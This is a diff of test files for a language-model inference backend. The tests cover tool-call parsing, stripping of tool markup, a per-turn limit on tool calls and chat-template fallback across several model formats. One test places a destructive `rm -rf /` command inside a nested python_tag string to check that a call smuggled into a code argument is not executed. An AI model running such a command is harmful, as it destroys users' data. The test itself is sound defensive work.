+        # the shared ToolLoopController (both backends route bare-string args
+        # through ``coerce_tool_arguments``), so the two paths cannot drift.
         from core.inference.tool_loop_controller import (
             _CANONICAL_HEAL_ARG,
             coerce_tool_arguments,
@@ -1786,7 +2595,9 @@ class TestGGUFSafetensorsHealingParity:
         }
 
     def test_intent_regex_matches_same_phrases_as_gguf(self):
-        # The intent re-prompt regex must match the SAME phrases on both backends.
+        # The intent re-prompt regex must match the SAME forward-looking
+        # phrases on both backends so behaviour is the same on Mac (MLX
+        # / safetensors) and on Linux (GGUF).
         from core.inference.llama_cpp import _INTENT_SIGNAL as gguf_re
         from core.inference.safetensors_agentic import (
             _INTENT_SIGNAL as sf_re,
@@ -1811,7 +2622,8 @@ class TestGGUFSafetensorsHealingParity:
             "I can help with that.",
             "I should mention",
             "Let's go.",
-            # Negated intent is a refusal, not a plan: neither backend may re-prompt on it.
+            # Negated intent is a refusal, not a plan: neither backend may
+            # force a tool-call re-prompt on it.
             "I will not search the web for that.",
             "I'll never call that tool.",
         ):
@@ -2240,6 +3052,28 @@ class TestGuardrails:
             and event.get("type") in {"tool_start", "tool_end"}
         ]
 
+    def test_same_turn_distinct_calls_are_capped(self):
+        # >_MAX_TOOL_CALLS_PER_TURN DISTINCT calls in one turn must be capped so a runaway turn
+        # cannot fan out into many executions (the GGUF path is held back by llama-server's lazy ...
+        from core.inference.safetensors_agentic import _MAX_TOOL_CALLS_PER_TURN
+
+        n = _MAX_TOOL_CALLS_PER_TURN + 4
+        turn = "".join(
+            '<tool_call>{"name":"web_search","arguments":{"query":"q%d"}}</tool_call>' % i
+            for i in range(n)
+        )
+        loop, exec_fn = _make_loop(
+            turns = [[turn], ["final"]],
+            exec_results = ["r"] * n,
+            max_tool_iterations = 2,
+        )
+        _collect_events(loop)
+        assert len(exec_fn.calls) == _MAX_TOOL_CALLS_PER_TURN
+        # The first N distinct queries executed, in document order.
+        assert [a["query"] for _name, a in exec_fn.calls] == [
+            "q%d" % i for i in range(_MAX_TOOL_CALLS_PER_TURN)
+        ]
+
     def test_coerce_string_args_python_uses_code_key(self):
         assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == {"code": "print(1)"}
 
@@ -2283,7 +3117,8 @@ class TestRoutesPythonTagStrip:
     """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path."""
 
     def _strip(self, text: str) -> str:
-        # Import inside the test so a routes-module import error doesn't fail collection.
+        # Import inside the test so a routes-module import error does
+        # not blow up the entire test file at collection time.
         from routes.inference import _strip_tool_xml
         return _strip_tool_xml(text)
 
@@ -2293,7 +3128,8 @@ class TestRoutesPythonTagStrip:
         assert self._strip(text) == ""
 
     def test_python_tag_with_less_than_in_code(self):
-        # 5615 regression: a literal < inside code must NOT terminate the strip early.
+        # 5615 regression: literal ``<`` inside code must NOT terminate
+        # the strip early.
         text = '<|python_tag|>python.call(code="if x < 10: pass")'
         assert self._strip(text) == ""
 
@@ -2303,7 +3139,7 @@ class TestRoutesPythonTagStrip:
         assert self._strip(text) == ""
 
     def test_python_tag_multiline_with_less_than(self):
-        # Combined: multi-line code AND literal < in code.
+        # Combined: multi-line code AND literal ``<`` in code.
         text = (
             '<|python_tag|>python.call(code="for i in range(10):\n'
             "    if i < 5:\n"
@@ -2312,7 +3148,8 @@ class TestRoutesPythonTagStrip:
         assert self._strip(text) == ""
 
     def test_python_tag_stops_at_eom_sentinel(self):
-        # Strip stops at the next Llama-3 <| sentinel so trailing assistant content survives.
+        # Strip stops at the next Llama-3 ``<|`` sentinel so any
+        # trailing assistant content survives.
         text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text"
         assert self._strip(text) == "<|eom_id|>final answer text"
 
@@ -2326,20 +3163,25 @@ class TestRoutesPythonTagStrip:
         assert self._strip(text) == ""
 
     def test_python_tag_with_eom_then_trailing_python_tag(self):
-        # Two python_tag emissions back-to-back across a sentinel: both strip independently.
+        # Two python_tag emissions back-to-back across a sentinel: both
+        # should strip independently.
         text = (
             '<|python_tag|>brave_search.call(query="a")'
             "<|eom_id|>"
             '<|python_tag|>python.call(code="x=1")'
         )
-        # <|eom_id|> between the two strips remains; both python_tag blocks are consumed.
+        # ``<|eom_id|>`` between the two strips remains; both
+        # python_tag blocks are fully consumed.
         assert self._strip(text) == "<|eom_id|>"
 
 
 # Robustness fixes uncovered while validating against vLLM / sglang.
 class TestParserRobustness:
     def test_tool_call_json_accepts_parameters_key(self):
-        # Hermes wrapper using parameters instead of arguments; this path now accepts both keys.
+        # Hermes wrapper around a Llama-3.2 bare-JSON object that uses
+        # ``parameters`` instead of ``arguments``. The bare-JSON and
+        # python_tag paths already accept both keys; this path now does
+        # too. Was extracting name only and silently dropping the args.
         import json
 
         text = "<tool_call>\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "</tool_call>"
@@ -2349,7 +3191,8 @@ class TestParserRobustness:
         assert json.loads(result[0]["function"]["arguments"]) == {"q": "ramen"}
 
     def test_function_xml_attribute_form(self):
-        # MiniCPM-5 / MiniMax-M2 attribute syntax: <function name="..."><param name="...">v</param></function>.
+        # MiniCPM-5 / MiniMax-M2 attribute syntax:
+        # ``<function name="..."><param name="...">v</param></function>``.
         import json
 
         text = '<function name="get_weather">' '<param name="city">Tokyo</param>' "</function>"
@@ -2373,7 +3216,8 @@ class TestParserRobustness:
         assert args == {"city": "Tokyo", "unit": "celsius"}
 
     def test_function_xml_legacy_equals_form_still_works(self):
-        # Regression guard: the old <function=name><parameter=k>v syntax must keep parsing after the regex broadening.
+        # Regression guard: the old ``<function=name><parameter=k>v``
+        # syntax must keep parsing after the regex broadening.
         import json
 
         text = "<function=get_weather><parameter=city>Tokyo</parameter></function>"
@@ -2383,17 +3227,24 @@ class TestParserRobustness:
         assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
 
     def test_function_attribute_form_has_tool_signal(self):
-        # The standalone <function name="..."> form must flip the streaming buffer, else the call is dropped.
+        # The standalone ``<function name="...">`` attribute form must flip
+        # the streaming buffer; otherwise the end-of-turn safety-net parse in
+        # the agentic loop is gated off and the real call is dropped.
         assert has_tool_signal('<function name="get_weather">') is True
 
     def test_function_attribute_form_strip_markup(self):
-        # The attribute form must also be stripped from displayed text, like <function=...>.
+        # The attribute form must also be stripped from displayed text, like
+        # the legacy ``<function=...>`` form.
         text = 'result <function name="g"><param name="c">X</param></function>'
         assert strip_tool_markup(text, final = True) == "result"
 
     def test_llama3_chat_template_round_trip(self):
-        # Llama-3.x prefixes assistant turns with <|start_header_id|>...<|end_header_id|>; the
-        # sentinel-strip must reach past the role label to the JSON body, else history calls drop.
+        # Meta's official Llama-3.x chat template prefixes every
+        # assistant turn with
+        # ``<|start_header_id|>assistant<|end_header_id|>\n\n``. The
+        # sentinel-strip in ``_parse_llama3_bare_json`` must reach past
+        # the role label to the JSON body, else every round-tripped
+        # tool call in history silently drops.
         import json
 
         text = (
@@ -2418,7 +3269,8 @@ class TestParserRobustness:
             assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
 
     def test_llama3_round_trip_with_eot_prefix(self):
-        # Prior turn closes with <|eot_id|>, then the new header opens; both sentinels + role must be consumed.
+        # Prior assistant turn closes with ``<|eot_id|>``, then the
+        # new header opens. Both sentinels + the role must be consumed.
         import json
 
         text = (
@@ -2430,7 +3282,10 @@ class TestParserRobustness:
         assert result[0]["function"]["name"] == "f"
 
     def test_function_xml_followed_by_prose(self):
-        # Body must terminate at </function> even without a </tool_call> wrapper, else prose leaks into the value.
+        # Models routinely follow a tool call with explanatory prose.
+        # Body must terminate at ``</function>`` even without a
+        # ``</tool_call>`` wrapper, else trailing prose leaks into the
+        # last parameter value.
         import json
 
         text = (
@@ -2456,8 +3311,236 @@ class TestParserRobustness:
         assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
 
 
+def test_render_with_native_template_returns_render_only_when_tools_emitted():
+    # The native-template fallback re-renders with the model's repo template when an override drops
+    # the tools schema.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "")
+
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)  # never reflects tools
+
+    out = render_native_template(
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert out == "hi|TOOLS=web_search"
+    # The native template must be restored on the live tokenizer after probing.
+    assert model_info["tokenizer"].chat_template == "OVERRIDE"
+
+    assert (
+        render_native_template(
+            model_info = dict(model_info),
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = ignoring,
+        )
+        is None
+    )
+
+    # No tokenizer and no processor -> return None instead of an AttributeError.
+    no_tok = {"native_chat_template": "TPL"}
+    assert (
+        render_native_template(
+            model_info = no_tok,
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = emitting,
+        )
+        is None
+    )
+
+
+def test_render_with_native_template_does_not_mutate_shared_tokenizer():
+    # The shared tokenizer must never carry the temporary native template, even mid-render: this
+    # runs outside the generation lock, so a concurrent request could otherwise render with the ...
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    shared = SimpleNamespace(chat_template = "OVERRIDE")
+    seen = []
+
+    def capture(tokenizer, msgs, *, tools, **_kw):
+        seen.append((tokenizer is shared, shared.chat_template))
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {"native_chat_template": "TPL", "tokenizer": shared}
+    render_native_template(
+        model_info = model_info,
+        active_model_name = "x",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = capture,
+    )
+    # Rendering happened on a copy, and the shared tokenizer stayed "OVERRIDE"
+    # throughout (never the temporary "TPL").
+    assert seen and all(not is_shared for is_shared, _ in seen)
+    assert all(tpl == "OVERRIDE" for _, tpl in seen)
+    assert shared.chat_template == "OVERRIDE"
+
+
+def test_native_template_loads_from_base_model_for_lora(monkeypatch):
+    # For a LoRA adapter the chat template lives on the base model; active_model_name
+    # is the adapter id and may ship no template. The loader must read base_model.
+    from types import SimpleNamespace
+
+    import transformers
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    captured = {}
+
+    def fake_from_pretrained(name, *args, **kwargs):
+        captured["source"] = name
+        return SimpleNamespace(chat_template = "BASE_TPL")
+
+    monkeypatch.setattr(transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained)
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {
+        "base_model": "base/model-id",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "adapter/path",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = emitting,
+    )
+    assert captured["source"] == "base/model-id"
+    assert out == "hi|T"
+
+
+def test_render_with_native_template_fallback_swaps_when_override_drops_tools():
+    # The shared gate (used by the transformers and MLX backends): when the live render is
+    # identical with and without tools, re-render with the native template and return it.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    # apply_fn that IGNORES tools -> live render drops the schema.
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)
+
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    # Native render emits the tools, so the fallback swaps to it.
+    def native_emits(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS" if tools else "")
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = ignoring(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = lambda tok, msgs, *, tools, **kw: (
+            native_emits(tok, msgs, tools = tools)
+            if getattr(tok, "chat_template", None) == "TPL"
+            else ignoring(tok, msgs, tools = tools)
+        ),
+    )
+    assert out == "hi|TOOLS", out
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_tools_emitted():
+    # Live render already differs with vs without tools -> no fallback, returned
+    # unchanged. Also a no-tools call is a passthrough.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    kept = render_with_native_template_fallback(
+        formatted_prompt = emitting(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert kept == "hi|T", kept
+
+    # No tools -> passthrough (native template never consulted).
+    passthrough = render_with_native_template_fallback(
+        formatted_prompt = "hi",
+        tokenizer = SimpleNamespace(),
+        model_info = {},
+        active_model_name = "x",
+        messages = messages,
+        tools = None,
+        apply_fn = emitting,
+    )
+    assert passthrough == "hi"
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_no_tools_probe_raises():
+    # A template that REQUIRES tools can raise on the no-tools probe.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def raises_without_tools(tokenizer, msgs, *, tools, **_kw):
+        if not tools:
+            raise RuntimeError("template requires tools")
+        return "".join(m["content"] for m in msgs) + "|T"
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = "hi|T",
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = raises_without_tools,
+    )
+    assert out == "hi|T", out
+
+
 def test_truncated_bare_json_at_eof_is_not_leaked():
-    # Stream ends mid bare-JSON: the held fragment must be dropped at EOF, not flushed as content.
+    # Stream ends mid bare-JSON object: the held fragment must be dropped at the
+    # EOF resolver, not flushed as plain assistant content (GGUF parity).
     loop, _exec = _make_loop(
         turns = [['{"name":"web_search","parameters":{"query":"weather in S']],
         max_tool_iterations = 1,
@@ -2468,7 +3551,9 @@ def test_truncated_bare_json_at_eof_is_not_leaked():
 
 
 def test_oversized_bare_json_call_is_not_leaked_and_executes():
-    # A bare-JSON call exceeding _MAX_BARE_JSON_BUFFER must DRAIN, not stream the prefix, and still execute.
+    # A bare-JSON call whose arguments exceed _MAX_BARE_JSON_BUFFER must DRAIN
+    # (suppress) rather than stream the raw JSON prefix, and still execute once
+    # the full object is parsed by the safety net.
     from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
 
     big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
@@ -2483,7 +3568,8 @@ def test_oversized_bare_json_call_is_not_leaked_and_executes():
 
 
 def test_oversized_plain_json_answer_still_streams():
-    # A giant plain JSON answer (no "name" key) is NOT a call and must still stream.
+    # A giant plain JSON answer (no "name" key) is NOT a tool call and must still
+    # stream -- the oversized DRAIN route is gated on a "name" key.
     from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
 
     big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
@@ -2496,7 +3582,9 @@ def test_oversized_plain_json_answer_still_streams():
 
 
 def test_oversized_disabled_name_json_answer_still_streams():
-    # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream, not drain.
+    # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream:
+    # the oversized DRAIN branch was gated only on the presence of a "name" key, so a
+    # large ordinary record ({"name":"Alice",...}) was drained instead of shown.
     from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
 
     big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
@@ -2510,7 +3598,8 @@ def test_oversized_disabled_name_json_answer_still_streams():
 
 
 def test_truncated_disabled_name_json_is_shown_at_eof():
-    # A truncated JSON answer whose name is not an enabled tool must be shown at EOF.
+    # A truncated ordinary JSON answer whose name is not an enabled tool, held to EOF,
+    # must be shown -- the EOF bare-JSON DRAIN branch was gated only on a "name" key.
     truncated = '{"name":"Alice","parameters":{"age":'
     loop, exec_fn = _make_loop(turns = [[truncated]], max_tool_iterations = 1)
     events = _collect_events(loop)
@@ -2520,7 +3609,9 @@ def test_truncated_disabled_name_json_is_shown_at_eof():
 
 
 def test_truncated_plain_json_with_nested_enabled_name_is_visible():
-    # A truncated answer with only a NESTED "name" must be shown: the gate uses the TOP-LEVEL name.
+    # A truncated ordinary JSON answer with a NESTED ``"name"`` matching an enabled
+    # tool ({"result":{"name":"web_search",...) must be shown, not suppressed: the
+    # gate now extracts the TOP-LEVEL name only, so the nested field is just data.
     loop, exec_fn = _make_loop(
         turns = [['{"result":{"name":"web_search","age":']],
         max_tool_iterations = 1,
@@ -2532,7 +3623,8 @@ def test_truncated_plain_json_with_nested_enabled_name_is_visible():
 
 
 def test_bare_json_call_not_replayed_in_next_turn_content():
-    # After a bare-JSON call executes, the next-turn assistant content must not contain the raw call.
+    # After a complete bare-JSON call executes, the assistant content fed to the
+    # next turn must not contain the raw call (next-turn contamination).
     captured: list[list[dict]] = []
     exec_fn = FakeExecuteTool(["RESULT"])
 
@@ -2562,7 +3654,10 @@ if __name__ == "__main__":
 
 
 def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
-    # With Auto-Heal OFF a truncated enabled-name bare-JSON fragment stays visible; with it ON, suppressed.
+    # F3: with Auto-Heal OFF, a truncated ENABLED-name bare-JSON fragment that did
+    # not parse must stay visible (disabled-Auto-Heal contract: malformed markup is
+    # preserved), matching the XML strip in the same drain branch. With Auto-Heal ON
+    # the same fragment is suppressed.
     trunc = '{"name":"web_search","parameters":{"query":"weather'
     off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False)
     events_off = _collect_events(off)
@@ -2578,7 +3673,9 @@ def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
 
 
 def test_looks_like_enabled_bare_json_accepts_function_alias():
-    # The buffering gate must recognise the "function" bare-JSON alias, so it is buffered, not streamed.
+    # The safetensors buffering gate must recognise the "function" bare-JSON alias
+    # the parser accepts, so a truncated/complete {"function":<enabled tool>} call is
+    # buffered/healed instead of streaming as visible content.
     from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
 
     enabled = {"web_search"}
@@ -2591,7 +3688,8 @@ def test_looks_like_enabled_bare_json_accepts_function_alias():
 
 class TestFalseAlarmMarkerProse:
     def test_leading_marker_prose_streams_intact(self):
-        # An answer starting with a literal marker is a false alarm: the full prose must reach the client.
+        # An answer that starts with a literal marker is a false alarm: the
+        # drain finds no calls and the full prose must reach the client.
         text = "[TOOL_CALLS] is the Mistral tool marker. More prose after."
         loop, exec_fn = _make_loop(turns = [[text]])
         events = _collect_events(loop)
@@ -2600,7 +3698,8 @@ class TestFalseAlarmMarkerProse:
         assert texts and texts[-1] == text
 
     def test_chained_bare_json_calls_not_replayed_in_history(self):
-        # Both chained calls execute; the next-turn history must not contain the second call's raw JSON.
+        # Both chained calls execute; the kept content (next-turn assistant
+        # history) must not contain the second call's raw JSON.
         chained = (
             '{"name":"web_search","parameters":{"q":"first"}};'
             '{"name":"python","parameters":{"code":"x"}}'
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index fded2a8443..7f47140b8d 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -72,10 +72,8 @@ class TestFunctionStyleTrailingText:
         assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
 
     def test_closed_function_with_trailing_prose_heal_path(self):
-        # Regression: the heal / finalize path (allow_incomplete=True) used to fold
-        # </parameter></function> and the trailing prose into the argument and drop
-        # the prose from visible content. It must now match the strict path -- keep a
-        # clean argument and leave the trailing prose outside the call span.
+        # Regression: the heal path (allow_incomplete=True) must match the strict path --
+        # keep a clean argument and leave trailing prose outside the call span.
         text = "<function=web_search><parameter=query>cats</parameter></function> trailing words"
         calls = parse_tool_calls_from_text(text, allow_incomplete = True)
         assert len(calls) == 1
@@ -103,7 +101,8 @@ class TestFunctionStyleTrailingText:
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
     def test_attribute_form_literal_close_tag_is_preserved(self):
-        # Attribute form ends at the LAST </function>, so a literal close inside code survives.
+        # The attribute form <function name="..."> (MiniCPM-5 / MiniMax-M2) also ends at the
+        # LAST </function>, so a literal close tag inside a code argument survives.
         text = (
             '<function name="python"><param name="code">'
             'print("</function>")'
@@ -113,7 +112,8 @@ class TestFunctionStyleTrailingText:
         assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
 
     def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self):
-        # A closed zero-param call is valid; strict mode must not treat it as truncated.
+        # A closed call with no parameters is a valid zero-argument call; strict
+        # mode must not treat the empty parameter list as a truncated call.
         assert _only('<function name="ping"></function>') == {"name": "ping", "arguments": {}}
         # A no-arg call that never closes is still rejected as truncated.
         assert parse_tool_calls_from_text('<function name="ping">', allow_incomplete = False) == []
@@ -231,9 +231,8 @@ class TestHealingPathUnaffected:
         assert calls[0]["function"]["name"] == "web_search"
 
     def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self):
-        # allow_incomplete exists for truncated output; a call that DID close
-        # must parse identically to strict mode, leaving prose after
-        # </function> out of the last parameter and out of the removal span.
+        # A call that DID close must parse identically to strict mode, leaving prose after
+        # </function> out of the last parameter and the removal span.
         from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
 
         text = "<function=web_search><parameter=query>cats</parameter></function> trailing"
@@ -246,7 +245,8 @@ class TestHealingPathUnaffected:
         )
 
     def test_wrapperless_fallback_calls_carry_spans(self):
-        # The wrapperless fallback must report spans so consumers strip exactly the markup.
+        # The wrapperless function-XML fallback must report spans too, so with_spans
+        # consumers strip exactly the promoted markup (through </function> when closed).
         from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
 
         closed = "before <function=web_search><parameter=query>cats</parameter></function> after"
@@ -266,6 +266,50 @@ class TestHealingPathUnaffected:
         assert healed[span[0] : span[1]] == "<function=web_search><parameter=query>dogs"
 
 
+class TestGlmStrict:
+    def test_closed_glm_call_is_accepted(self):
+        text = (
+            "<tool_call>get_weather\n"
+            "<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+
+    def test_unclosed_glm_call_is_rejected(self):
+        # No </tool_call> close: truncated, reject with Auto-Heal off.
+        text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestKimiStrict:
+    _SB = "<|tool_calls_section_begin|>"
+    _KB = "<|tool_call_begin|>"
+    _AB = "<|tool_call_argument_begin|>"
+    _KE = "<|tool_call_end|>"
+    _SE = "<|tool_calls_section_end|>"
+
+    def test_full_kimi_call_is_accepted(self):
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + self._SE
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "x"
+
+    def test_kimi_call_without_call_end_is_rejected(self):
+        # Section closed but the call lacks <|tool_call_end|>: reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._SE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+    def test_kimi_without_section_end_is_rejected(self):
+        # No <|tool_calls_section_end|>: truncated section, reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
 class TestParserLinearity:
     """Llama-3 ``.call`` kwargs and Mistral-array healing must stay linear (a regex-per-offset blew up on long truncated bodies)."""
 
@@ -293,6 +337,27 @@ class TestParserLinearity:
         parse_tool_calls_from_text(text, allow_incomplete = True)
         assert time.perf_counter() - t0 < 2.0
 
+    def test_gemma_wrapperless_deep_nesting_is_linear(self):
+        # Wrapper-less Gemma ``call:f{a:{a:{...}}}`` deep nesting must parse in linear time (no quadratic re-scan).
+        import time
+
+        def nested(d):
+            return "call:f{a:" + "{a:" * d + "x:1" + "}" * d + "}"
+
+        def best_ms(depth):
+            text = nested(depth)
+            best = float("inf")
+            for _ in range(5):
+                t0 = time.perf_counter()
+                calls = parse_tool_calls_from_text(text)
+                best = min(best, time.perf_counter() - t0)
+            assert calls and json.loads(calls[0]["function"]["arguments"]), "nested args dropped"
+            return best
+
+        t200 = best_ms(200)
+        t400 = best_ms(400)
+        assert t400 < t200 * 3.0, (t200, t400)
+
     def test_llama3_call_kwargs_still_parse(self):
         text = '<|python_tag|>do.call(s="hi 😀", n=42, f=1.5, b=true, z=null)'
         calls = parse_tool_calls_from_text(text, allow_incomplete = True)
@@ -334,7 +399,8 @@ class TestLlamaBuiltinChainAndNesting:
         assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
 
     def test_nested_python_tag_in_json_string_arg_is_not_a_call(self):
-        # A <|python_tag|> literal inside a code arg is data: the outer "python" call wins.
+        # A code arg literally containing a <|python_tag|>...call(...) string: the real call is the
+        # outer "python", not the nested "os" -- the scan stays anchored to the first tag.
         text = (
             '<|python_tag|>{"name":"python","parameters":'
             '{"code":"<|python_tag|>os.call(\'rm -rf /\')"}}'
@@ -353,6 +419,41 @@ class TestLlamaBuiltinChainAndNesting:
         assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
 
 
+def test_glm_open_does_not_parse_spaced_prose_as_tool_name():
+    # The GLM <tool_call>NAME opener must reject spaced literal prose (V10); only a
+    # valid [\w.\-]+ name (followed by newline/<arg_key>/</tool_call>) is a call.
+    assert parse_tool_calls_from_text("<tool_call>not a call</tool_call>") == []
+    ok = parse_tool_calls_from_text(
+        "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC</arg_value>\n</tool_call>"
+    )
+    assert [c["function"]["name"] for c in ok] == ["get_weather"]
+
+
+def test_deepseek_r1_missing_call_terminator_rejected_in_strict_mode():
+    # R1 must reject a fenced call whose closing ``` + <｜tool▁call▁end｜> never
+    # arrived when Auto-Heal is off, matching V3/V3.1 strictness (V6).
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}'
+        "<｜tool▁calls▁end｜>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+def test_deepseek_r1_complete_call_accepted_in_strict_mode():
+    # A fully-terminated R1 call (close fence + per-call end) is still accepted.
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1 and calls[0]["function"]["name"] == "get_weather"
+
+
 def test_strip_leading_bare_json_call_drops_complete_call():
     from core.inference.tool_call_parser import strip_leading_bare_json_call
 
@@ -386,6 +487,57 @@ def test_strip_leading_bare_json_call_preserves_plain_json_and_prose():
     assert strip_leading_bare_json_call("just a sentence.") == "just a sentence."
 
 
+def test_glm_literal_close_tag_in_string_arg_not_truncated():
+    import json
+
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # A GLM string argument may legitimately contain the literal close tag ``</tool_call>``.
+    text = (
+        "<tool_call>run_code\n"
+        "<arg_key>code</arg_key>\n"
+        '<arg_value>print("</tool_call>")</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == 'print("</tool_call>")', args
+
+
+def test_glm_truncated_block_rejected_in_strict_mode_but_healed_otherwise():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # No </tool_call> close: strict mode (Auto-Heal off) rejects the truncated
+    # block; with Auto-Heal it keeps the partial call.
+    text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC"
